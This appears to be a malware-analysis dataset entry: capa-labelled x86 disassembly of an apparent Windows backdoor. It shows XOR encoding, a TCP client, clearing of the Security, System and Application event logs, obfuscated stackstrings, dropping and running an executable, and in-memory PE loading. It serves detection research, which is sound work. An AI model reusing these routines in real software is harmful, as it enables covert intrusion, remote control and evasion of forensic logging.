joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401380
Capabilities:
Encode data using xor

Disassembly:
mov ecx, dword [esp + 8]
test ecx, ecx
jbe 0x401397
mov eax, dword [esp + 4]
mov dl, byte [eax]
xor dl, 0x46
mov byte [eax], dl
inc eax
dec ecx
jne 0x40138c
ret

Function at 0x4013a0
Capabilities:
Initialize winsock library

Disassembly:
push 0xffffffffffffffff
push 0x40da6c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x194
push esi
mov esi, ecx
mov dword [esp + 4], esi
lea ecx, [esi + 4]
call fcn.00401000
lea ecx, [esi + 0x2c]
mov dword [esp + 0x1a0], 0
call fcn.00401000
lea ecx, [esi + 0x54]
mov byte [esp + 0x1a0], 1
call fcn.00401000
lea eax, [esp + 8]
mov dword [esi], 0x40e248
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov ecx, dword [esp + 0x198]
mov dword [esi + 0x84], eax
mov byte [esi + 0x88], 0
mov dword [esi + 0x80], 0xffffffff
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x1a0
ret

Function at 0x401560
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
sub esp, 0x20
push esi
push edi
mov esi, ecx
call fcn.00401680
mov eax, dword [esi + 0x84]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 6
push 1
push 2
mov byte [esi + 0x88], 0
call dword [sym.imp.WS2_32.dll_socket]
mov ecx, dword [esp + 0x2c]
mov dword [esi + 0x80], eax
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edi, eax
test edi, edi
jne 0x4015ad
pop edi
xor al, al
pop esi
add esp, 0x20
ret 8
mov edx, dword [esp + 0x30]
mov word [esp + 0x18], 2
push edx
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x1a], ax
mov eax, dword [edi + 0xc]
push 0x10
mov ecx, dword [eax]
lea eax, [esp + 0x1c]
push eax
mov edx, dword [ecx]
mov ecx, dword [esi + 0x80]
push ecx
mov dword [esp + 0x28], edx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x4015f2
pop edi
xor al, al
pop esi
add esp, 0x20
ret 8
mov eax, dword [esi + 0x80]
lea edx, [esp + 0xb]
push 1
push edx
push 8
push 0xffff
push eax
mov byte [esp + 0x1f], 1
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x401650
push eax
lea ecx, [esp + 0xf]
push eax
push ecx
push eax
push eax
mov eax, dword [esi + 0x80]
lea edx, [esp + 0x20]
push 0xc
push edx
push 0x98000004
push eax
mov dword [esp + 0x30], 1
mov dword [esp + 0x34], 0xea60
mov dword [esp + 0x38], 0x1388
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push 1
push 0
push 0
push esi
push 0x401460
push 0
push 0
mov byte [esi + 0x88], 1
call fcn.00405b80
add esp, 0x1c
mov dword [esi + 0x7c], eax
mov al, 1
pop edi
pop esi
add esp, 0x20
ret 8
Function at 0x401700
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
mov esi, dword [esp + 0x18]
push edi
mov edi, dword [esp + 0x14]
cmp ebx, esi
mov ebp, ecx
mov dword [esp + 0x14], 0
jb 0x40176a
mov dword [esp + 0x1c], 0
mov eax, dword [ebp + 0x80]
push 0
push esi
push edi
push eax
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x401749
mov ecx, dword [esp + 0x1c]
inc ecx
cmp ecx, 0xf
mov dword [esp + 0x1c], ecx
jl 0x401726
cmp dword [esp + 0x1c], 0xf
je 0x4017a0
mov ecx, dword [esp + 0x14]
push 0xa
add ecx, eax
add edi, esi
mov dword [esp + 0x18], ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
sub ebx, esi
cmp ebx, esi
jae 0x40171e
test ebx, ebx
jle 0x401794
xor esi, esi
mov ecx, dword [ebp + 0x80]
push 0
push ebx
push edi
push ecx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x40178b
inc esi
cmp esi, 0xf
jl 0x401770
cmp esi, 0xf
je 0x4017a0
add dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
cmp eax, ecx
je 0x4017a3
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
ret 0xc

Function at 0x401ee0
Capabilities:
Get common file path

Disassembly:
push ecx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push edi
push 0
mov byte [esp + 0xe], 0x5c
mov byte [esp + 0xf], 0
call esi
mov ecx, 0x41
xor eax, eax
mov edi, 0x413990
push eax
rep stosd dword es:[edi], eax
call esi
push 0
push 0x1a
push 0x413990
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push 0
call esi
mov ecx, dword [0x413bb4]
lea eax, [esp + 0xa]
push eax
push 0x413990
call fcn.00404330
mov ecx, dword [esp + 0x10]
push ecx
mov ecx, dword [0x413bb4]
push 0x413990
call fcn.00404330
pop edi
pop esi
pop ecx
ret

Function at 0x4026c0
Capabilities:
Check os version

Disassembly:
sub esp, 0x9c
lea eax, [esp]
mov dword [esp], 0x9c
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x4026e6
xor al, al
add esp, 0x9c
ret
cmp dword [esp + 4], 5
seta al
add esp, 0x9c
ret

Function at 0x402970
Capabilities:
Access the windows event log
Clear windows event logs

Disassembly:
sub esp, 0x10
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push esi
push edi
mov dword [esp + 0x14], str.Application
mov dword [esp + 0x18], str.Security
mov dword [esp + 0x1c], str.System
lea edi, [esp + 0x14]
mov dword [esp + 0x10], 3
mov eax, dword [edi]
push eax
push 0
call ebx
mov esi, eax
test esi, esi
je 0x4029c0
push 0
push esi
call ebp
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
mov eax, dword [esp + 0x10]
add edi, 4
dec eax
mov dword [esp + 0x10], eax
jne 0x4029a7
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
Function at 0x4029e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x428
push esi
push edi
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x31]
mov byte [esp + 0x30], 0
rep stosd dword es:[edi], eax
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0
stosw word es:[edi], ax
stosb byte es:[edi], al
call esi
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x30]
push eax
rep stosd dword es:[edi], eax
call esi
mov al, 0x65
mov dl, 0x53
mov byte [esp + 0x13], al
mov byte [esp + 0x1e], al
mov byte [esp + 0x22], al
mov byte [esp + 0x27], al
mov cl, 0x72
mov al, 0x73
push 0
mov byte [esp + 0xc], dl
mov byte [esp + 0xd], 0x59
mov byte [esp + 0xe], dl
mov byte [esp + 0xf], 0x54
mov byte [esp + 0x10], 0x45
mov byte [esp + 0x11], 0x4d
mov byte [esp + 0x12], 0x5c
mov byte [esp + 0x13], 0x43
mov byte [esp + 0x14], 0x75
mov byte [esp + 0x15], cl
mov byte [esp + 0x16], cl
mov byte [esp + 0x18], 0x6e
mov byte [esp + 0x19], 0x74
mov byte [esp + 0x1a], 0x43
mov byte [esp + 0x1b], 0x6f
mov byte [esp + 0x1c], 0x6e
mov byte [esp + 0x1d], 0x74
mov byte [esp + 0x1e], cl
mov byte [esp + 0x1f], 0x6f
mov byte [esp + 0x20], 0x6c
mov byte [esp + 0x21], dl
mov byte [esp + 0x23], 0x74
mov byte [esp + 0x24], 0x5c
mov byte [esp + 0x25], dl
mov byte [esp + 0x27], cl
mov byte [esp + 0x28], 0x76
mov byte [esp + 0x29], 0x69
mov byte [esp + 0x2a], 0x63
mov byte [esp + 0x2c], al
mov byte [esp + 0x2d], 0x5c
mov byte [esp + 0x2e], 0x25
mov byte [esp + 0x2f], al
mov byte [esp + 0x30], 0
call esi
mov eax, dword [esp + 0x434]
lea ecx, [esp + 8]
push eax
lea edx, [esp + 0x34]
push ecx
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
call esi
mov edi, dword [esp + 0x43c]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [esp + 0x440]
push edi
push 1
push eax
lea ecx, [esp + 0x44]
push ecx
push SysStringLen
call fcn.004050b0
add esp, 0x1c
push 0
call esi
pop edi
pop esi
add esp, 0x428
ret

Function at 0x402d90
Capabilities:
Terminate thread

Disassembly:
push ebx
mov ebx, ecx
push edi
xor edi, edi
mov eax, dword [ebx + 0x9e58]
mov dword [ebx], 0x40e268
test eax, eax
jbe 0x402dd4
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
lea esi, [ebx + 0x218]
mov eax, dword [esi]
push 0xffffffffffffffff
push eax
call ebp
mov ecx, dword [esi]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebx + 0x9e58]
inc edi
add esi, 4
cmp edi, eax
jb 0x402db4
pop esi
pop ebp
mov ecx, ebx
call fcn.004035d0
pop edi
pop ebx
ret
Function at 0x403170
Capabilities:
Check for time delay via gettickcount
Check if file exists
Contain obfuscated stackstrings
Create process on windows
Get common file path
Get file attributes
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x154
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push edi
push 0
call esi
push 0
lea eax, [esp + 0x60]
push 0x1a
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov ebp, dword [esp + 0x16c]
cmp ebp, 2
jne 0x4031fc
mov al, 0x6c
push 0
mov byte [esp + 0x10], 0x5c
mov byte [esp + 0x11], 0x50
mov byte [esp + 0x12], al
mov byte [esp + 0x13], 0x75
mov byte [esp + 0x14], 0x67
mov byte [esp + 0x15], 0x69
mov byte [esp + 0x16], 0x6e
mov byte [esp + 0x17], 0x33
mov byte [esp + 0x18], 0x32
mov byte [esp + 0x19], 0x2e
mov byte [esp + 0x1a], 0x64
mov byte [esp + 0x1b], al
mov byte [esp + 0x1c], al
mov byte [esp + 0x1d], 0
call esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
lea ecx, [esp + 0xc]
push eax
lea edx, [esp + 0x2c]
push ecx
push edx
jmp 0x403243
mov al, 0x45
push 0
mov byte [esp + 0x10], 0x5c
mov byte [esp + 0x11], 0x52
mov byte [esp + 0x12], 0x75
mov byte [esp + 0x13], 0x25
mov byte [esp + 0x14], 0x64
mov byte [esp + 0x15], 0x2e
mov byte [esp + 0x16], al
mov byte [esp + 0x17], 0x58
mov byte [esp + 0x18], al
mov byte [esp + 0x19], 0
call esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea eax, [esp + 0x10]
lea ecx, [esp + 0x2c]
push eax
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
call esi
lea edx, [esp + 0x28]
lea eax, [esp + 0x5c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
call esi
push 0
push 0x80
push 2
push 0
push 2
lea ecx, [esp + 0x70]
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
mov edi, eax
call esi
cmp edi, 0xffffffff
je 0x403325
push 0
call esi
mov eax, dword [esp + 0x168]
mov ecx, dword [esp + 0x164]
lea edx, [esp + 0x24]
push 0
push edx
push eax
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
call esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebp, 2
je 0x403325
mov ecx, dword [0x413bb4]
lea edx, [esp + 0x5c]
push 0x2e
push edx
call fcn.00404460
test eax, eax
je 0x403325
push 0
call esi
lea eax, [esp + 0x5c]
mov byte [esp + 0x1c], 0x6f
push eax
mov byte [esp + 0x21], 0x70
mov byte [esp + 0x22], 0x65
mov byte [esp + 0x23], 0x6e
mov byte [esp + 0x24], 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x403325
push 0
call esi
push 5
push 0
lea ecx, [esp + 0x64]
push 0
lea edx, [esp + 0x28]
push ecx
push edx
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
call esi
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x154
ret 0xc

Function at 0x403340
Capabilities:
Delete file

Disassembly:
mov eax, dword [str.Plugin32.dll]
push eax
call fcn.00401ee0
add esp, 4
push 0x413990
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
call fcn.00407090
pop ecx
ret
Function at 0x403380
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x1c
push esi
push 1
mov esi, ecx
push str.SeShutdownPrivilege
call fcn.00403450
mov cl, 0x6c
mov al, 0x45
mov byte [esp + 0xc], cl
mov byte [esp + 0xd], cl
mov cl, 0x69
mov byte [esp + 6], al
mov byte [esp + 0x10], al
mov byte [esp + 0x1b], al
mov byte [esp + 0x12], cl
mov byte [esp + 0x15], cl
lea eax, [esp + 0x10]
lea ecx, [esp + 4]
mov dl, 0x78
push eax
push ecx
mov byte [esp + 0xc], 0x55
mov byte [esp + 0xd], 0x53
mov byte [esp + 0xf], 0x52
mov byte [esp + 0x10], 0x33
mov byte [esp + 0x11], 0x32
mov byte [esp + 0x12], 0x2e
mov byte [esp + 0x13], 0x64
mov byte [esp + 0x16], 0
mov byte [esp + 0x19], dl
mov byte [esp + 0x1b], 0x74
mov byte [esp + 0x1c], 0x57
mov byte [esp + 0x1e], 0x6e
mov byte [esp + 0x1f], 0x64
mov byte [esp + 0x20], 0x6f
mov byte [esp + 0x21], 0x77
mov byte [esp + 0x22], 0x73
mov byte [esp + 0x24], dl
mov byte [esp + 0x25], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [esp + 0x24]
push 0
push edx
call eax
push 0
push str.SeShutdownPrivilege
mov ecx, esi
call fcn.00403450
pop esi
add esp, 0x1c
ret 4

Function at 0x4034e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x20
push esi
mov esi, ecx
mov ecx, dword [esp + 0x28]
push esi
mov dword [esi], 0x40e270
mov dword [esi + 4], ecx
call fcn.004017b0
mov al, 0x6c
mov cl, 0x45
mov byte [esp + 0x1e], al
mov byte [esp + 0x1f], al
mov al, 0x65
mov byte [esp + 0x15], cl
mov byte [esp + 6], al
mov byte [esp + 9], al
mov byte [esp + 0xc], al
mov byte [esp + 0x18], cl
mov byte [esp + 0xa], cl
lea eax, [esp + 4]
lea ecx, [esp + 0x14]
mov dl, 0x74
push eax
push ecx
mov byte [esp + 0x1c], 0x4b
mov byte [esp + 0x1e], 0x52
mov byte [esp + 0x1f], 0x4e
mov byte [esp + 0x21], 0x4c
mov byte [esp + 0x22], 0x33
mov byte [esp + 0x23], 0x32
mov byte [esp + 0x24], 0x2e
mov byte [esp + 0x25], 0x64
mov byte [esp + 0x28], 0
mov byte [esp + 0xc], 0x43
mov byte [esp + 0xd], 0x72
mov byte [esp + 0xf], 0x61
mov byte [esp + 0x10], dl
mov byte [esp + 0x13], 0x76
mov byte [esp + 0x15], 0x6e
mov byte [esp + 0x16], dl
mov byte [esp + 0x17], 0x41
mov byte [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 0
push 1
push 0
call eax
mov dword [esi + 8], eax
mov eax, esi
pop esi
add esp, 0x20
ret 4
Function at 0x4035d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x1c
mov al, 0x45
push esi
mov esi, ecx
mov byte [esp + 0x11], al
mov byte [esp + 0x14], al
mov al, 0x6c
mov cl, 0x65
mov byte [esp + 0x1a], al
mov byte [esp + 0x1b], al
mov byte [esp + 5], al
mov byte [esp + 0xd], al
mov byte [esp + 8], cl
mov byte [esp + 0xe], cl
lea eax, [esp + 4]
lea ecx, [esp + 0x10]
xor dl, dl
push eax
push ecx
mov dword [esi], 0x40e270
mov byte [esp + 0x18], 0x4b
mov byte [esp + 0x1a], 0x52
mov byte [esp + 0x1b], 0x4e
mov byte [esp + 0x1d], 0x4c
mov byte [esp + 0x1e], 0x33
mov byte [esp + 0x1f], 0x32
mov byte [esp + 0x20], 0x2e
mov byte [esp + 0x21], 0x64
mov byte [esp + 0x24], dl
mov byte [esp + 0xc], 0x43
mov byte [esp + 0xe], 0x6f
mov byte [esp + 0xf], 0x73
mov byte [esp + 0x11], 0x48
mov byte [esp + 0x12], 0x61
mov byte [esp + 0x13], 0x6e
mov byte [esp + 0x14], 0x64
mov byte [esp + 0x17], dl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [esi + 8]
push edx
call eax
pop esi
add esp, 0x1c
ret

Function at 0x403710
Capabilities:
Parse pe header

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0xc]
push esi
push edi
mov byte [ebp], 0x4d
mov byte [ebp + 1], 0x5a
cmp word [ebp], 0x5a4d
je 0x40372f
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
mov ebx, dword [ebp + 0x3c]
add ebx, ebp
cmp dword [ebx], 0x4550
je 0x403743
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
mov eax, dword [ebx + 0x50]
mov ecx, dword [ebx + 0x34]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push 0x2000
push eax
push ecx
call esi
mov edi, eax
test edi, edi
jne 0x403779
mov edx, dword [ebx + 0x50]
push 4
push 0x2000
push edx
push eax
call esi
mov edi, eax
test edi, edi
jne 0x403779
pop edi
pop esi
pop ebp
pop ebx
ret
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
xor eax, eax
push 4
push 0x1000
mov dword [esi + 4], edi
mov dword [esi + 0xc], eax
mov dword [esi + 8], eax
mov dword [esi + 0x10], eax
mov eax, dword [ebx + 0x50]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebx + 0x54]
push 4
push 0x1000
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, dword [ebp + 0x3c]
mov ecx, dword [ebx + 0x54]
add edx, ecx
mov ecx, dword [0x413bb4]
push edx
push ebp
push eax
mov dword [esp + 0x20], eax
call fcn.00404300
mov eax, dword [ebp + 0x3c]
mov ecx, dword [esp + 0x14]
add eax, ecx
push esi
push ebx
mov dword [esi], eax
push ebp
mov dword [eax + 0x34], edi
call fcn.00403860
mov ecx, dword [ebx + 0x34]
mov eax, edi
add esp, 0xc
sub eax, ecx
je 0x403804
push eax
push esi
call fcn.00403c00
add esp, 8
push esi
call fcn.00403c80
add esp, 4
test eax, eax
je 0x403834
push esi
call fcn.00403a30
mov edx, dword [esi]
add esp, 4
mov eax, dword [edx + 0x28]
test eax, eax
je 0x40384b
add eax, edi
test eax, eax
je 0x403834
push 0
push 1
push edi
call eax
test eax, eax
jne 0x403844
push esi
call fcn.00403f40
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
ret
mov dword [esi + 0x10], 1
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x403860
Capabilities:
Contain obfuscated stackstrings
Enumerate pe sections

Disassembly:
sub esp, 0x3c
mov eax, dword [esp + 0x48]
push ebx
push ebp
push esi
mov ebp, dword [eax + 4]
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [esp + 0x28]
push edi
lea edx, [esp + 0x3c]
mov al, 0x45
mov bl, 0x6c
push ecx
push edx
mov byte [esp + 0x44], 0x4b
mov byte [esp + 0x45], al
mov byte [esp + 0x46], 0x52
mov byte [esp + 0x47], 0x4e
mov byte [esp + 0x48], al
mov byte [esp + 0x49], 0x4c
mov byte [esp + 0x4a], 0x33
mov byte [esp + 0x4b], 0x32
mov byte [esp + 0x4c], 0x2e
mov byte [esp + 0x4d], 0x64
mov byte [esp + 0x4e], bl
mov byte [esp + 0x4f], bl
mov byte [esp + 0x50], 0
mov byte [esp + 0x34], 0x56
mov byte [esp + 0x35], 0x69
mov byte [esp + 0x36], 0x72
mov byte [esp + 0x37], 0x74
mov byte [esp + 0x38], 0x75
mov byte [esp + 0x39], 0x61
mov byte [esp + 0x3a], bl
mov byte [esp + 0x3b], 0x41
mov byte [esp + 0x3c], bl
mov byte [esp + 0x3d], bl
mov byte [esp + 0x3e], 0x6f
mov byte [esp + 0x3f], 0x63
mov byte [esp + 0x40], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [esp + 0x10], eax
mov al, 0x65
mov cl, 0x6d
mov byte [esp + 0x19], al
mov byte [esp + 0x1c], al
mov byte [esp + 0x18], cl
mov byte [esp + 0x1a], cl
lea eax, [esp + 0x18]
lea ecx, [esp + 0x20]
push eax
push ecx
mov byte [esp + 0x28], 0x4d
mov byte [esp + 0x29], 0x53
mov byte [esp + 0x2a], 0x56
mov byte [esp + 0x2b], 0x43
mov byte [esp + 0x2c], 0x52
mov byte [esp + 0x2d], 0x54
mov byte [esp + 0x2e], 0x2e
mov byte [esp + 0x2f], 0x64
mov byte [esp + 0x30], bl
mov byte [esp + 0x31], bl
mov byte [esp + 0x32], 0
mov byte [esp + 0x23], 0x73
mov byte [esp + 0x25], 0x74
mov byte [esp + 0x26], 0
call esi
push eax
call edi
mov edx, dword [esp + 0x58]
mov ebx, eax
xor ecx, ecx
mov dword [esp + 0x14], 0
mov eax, dword [edx]
mov cx, word [eax + 0x14]
cmp word [eax + 6], 0
lea esi, [ecx + eax + 0x18]
jbe 0x403a19
add esi, 0x10
cmp dword [esi], 0
jne 0x4039cb
mov edx, dword [esp + 0x54]
mov edi, dword [edx + 0x38]
test edi, edi
jle 0x4039fd
mov eax, dword [esi - 4]
push 4
push 0x1000
add eax, ebp
push edi
push eax
call dword [esp + 0x20]
push edi
push 0
push eax
mov dword [esi - 8], eax
call ebx
add esp, 0xc
jmp 0x4039fd
mov edx, dword [esi - 4]
mov ecx, dword [esi]
push 4
push 0x1000
add edx, ebp
push ecx
push edx
call dword [esp + 0x20]
mov ecx, dword [esi + 4]
mov edi, eax
mov eax, dword [esi]
push eax
mov eax, dword [esp + 0x54]
add ecx, eax
push ecx
mov ecx, dword [0x413bb4]
push edi
call fcn.00404300
mov dword [esi - 8], edi
mov edx, dword [esp + 0x58]
mov eax, dword [esp + 0x14]
inc eax
add esi, 0x28
mov ecx, dword [edx]
xor edx, edx
mov dword [esp + 0x14], eax
mov dx, word [ecx + 6]
cmp eax, edx
jl 0x40399b
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x3c
ret
Function at 0x403a30
Capabilities:
Contain obfuscated stackstrings
Enumerate pe sections

Disassembly:
sub esp, 0x3c
mov eax, dword [esp + 0x40]
xor ecx, ecx
push ebx
push ebp
mov eax, dword [eax]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea edx, [esp + 0x1c]
mov cx, word [eax + 0x14]
push edi
mov bl, 0x74
push edx
lea ebp, [ecx + eax + 0x18]
mov al, 0x45
mov byte [esp + 0x31], al
mov byte [esp + 0x34], al
lea eax, [esp + 0x30]
mov byte [esp + 0x30], 0x4b
push eax
mov byte [esp + 0x36], 0x52
mov byte [esp + 0x37], 0x4e
mov byte [esp + 0x39], 0x4c
mov byte [esp + 0x3a], 0x33
mov byte [esp + 0x3b], 0x32
mov byte [esp + 0x3c], 0x2e
mov byte [esp + 0x3d], 0x64
mov byte [esp + 0x3e], 0x6c
mov byte [esp + 0x3f], 0x6c
mov byte [esp + 0x40], 0
mov byte [esp + 0x28], 0x56
mov byte [esp + 0x29], 0x69
mov byte [esp + 0x2a], 0x72
mov byte [esp + 0x2b], bl
mov byte [esp + 0x2c], 0x75
mov byte [esp + 0x2d], 0x61
mov byte [esp + 0x2e], 0x6c
mov byte [esp + 0x2f], 0x46
mov byte [esp + 0x30], 0x72
mov byte [esp + 0x31], 0x65
mov byte [esp + 0x32], 0x65
mov byte [esp + 0x33], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
lea ecx, [esp + 0x3c]
lea edx, [esp + 0x2c]
push ecx
push edx
mov dword [esp + 0x1c], eax
mov byte [esp + 0x44], 0x56
mov byte [esp + 0x45], 0x69
mov byte [esp + 0x46], 0x72
mov byte [esp + 0x47], bl
mov byte [esp + 0x48], 0x75
mov byte [esp + 0x49], 0x61
mov byte [esp + 0x4a], 0x6c
mov byte [esp + 0x4b], 0x50
mov byte [esp + 0x4c], 0x72
mov byte [esp + 0x4d], 0x6f
mov byte [esp + 0x4e], bl
mov byte [esp + 0x4f], 0x65
mov byte [esp + 0x50], 0x63
mov byte [esp + 0x51], bl
mov byte [esp + 0x52], 0
call esi
push eax
call edi
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x50]
mov dword [esp + 0x10], 0
mov edi, dword [eax]
cmp word [edi + 6], 0
jbe 0x403bed
lea ebx, [ebp + 0x24]
mov eax, dword [ebx]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x403b8c
mov ecx, dword [ebx - 0x14]
mov edx, dword [ebx - 0x1c]
push 0x4000
push ecx
push edx
call dword [esp + 0x20]
jmp 0x403bcd
lea ecx, [edx + ecx*2]
test eax, 0x4000000
lea edx, [esi + ecx*2]
mov edx, dword [edx*4 + 0x4130e0]
je 0x403ba3
or dh, 2
mov ecx, dword [ebx - 0x14]
test ecx, ecx
jne 0x403bbc
test al, 0x40
je 0x403bb3
mov ecx, dword [edi + 0x20]
jmp 0x403bba
test al, 0x80
je 0x403bcd
mov ecx, dword [edi + 0x24]
test ecx, ecx
jbe 0x403bcd
lea eax, [esp + 0x1c]
push eax
push edx
push ecx
mov ecx, dword [ebx - 0x1c]
push ecx
call dword [esp + 0x28]
mov edx, dword [esp + 0x50]
mov eax, dword [esp + 0x10]
xor ecx, ecx
inc eax
mov edi, dword [edx]
add ebx, 0x28
mov dword [esp + 0x10], eax
mov cx, word [edi + 6]
cmp eax, ecx
jl 0x403b5b
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x3c
ret
Function at 0x404fd6
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x3a8], 0x52
mov byte [ebp - 0x3a7], 0x65
mov byte [ebp - 0x3a6], 0x67
mov byte [ebp - 0x3a5], 0x43
mov byte [ebp - 0x3a4], 0x6c
mov byte [ebp - 0x3a3], 0x6f
mov byte [ebp - 0x3a2], 0x73
mov byte [ebp - 0x3a1], 0x65
mov byte [ebp - 0x3a0], 0x4b
mov byte [ebp - 0x39f], 0x65
mov byte [ebp - 0x39e], 0x79
mov byte [ebp - 0x39d], bl
lea edx, [ebp - 0x3a8]
push edx
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call edi
mov esi, eax
mov ecx, dword [ebp + 8]
push ecx
call esi
mov edx, dword [ebp - 0x2b4]
push edx
call esi
ret
Function at 0x405b80
Capabilities:
Create thread

Disassembly:
sub esp, 0x10
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
mov dl, byte [esp + 0x2c]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], ecx
mov byte [esp + 0x10], dl
call esi
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
mov dword [esp + 0x14], eax
call esi
mov ecx, dword [esp + 0x28]
lea eax, [esp + 0x30]
push eax
mov eax, dword [esp + 0x20]
lea edx, [esp + 8]
push ecx
mov ecx, dword [esp + 0x20]
push edx
push 0x405a80
push eax
push ecx
call dword [sym.imp.MSVCRT.dll__beginthreadex]
mov edx, dword [esp + 0x28]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
add esp, 0x10
ret
Function at 0x4060d0
Capabilities:
Encode data using xor

Disassembly:
push ecx
mov ecx, dword [esp + 8]
lea eax, [esp]
push eax
push ecx
mov dword [esp + 8], 0
call fcn.00405f70
add esp, 8
xor ecx, ecx
test eax, eax
jle 0x406118
push ebx
mov edx, dword [esp + 4]
mov bl, byte [ecx + edx]
add bl, 0x6d
mov byte [ecx + edx], bl
mov edx, dword [esp + 4]
mov bl, byte [ecx + edx]
xor bl, 0x13
mov byte [ecx + edx], bl
inc ecx
cmp ecx, eax
jl 0x4060f2
mov eax, dword [esp + 4]
pop ebx
pop ecx
ret
mov eax, dword [esp]
pop ecx
ret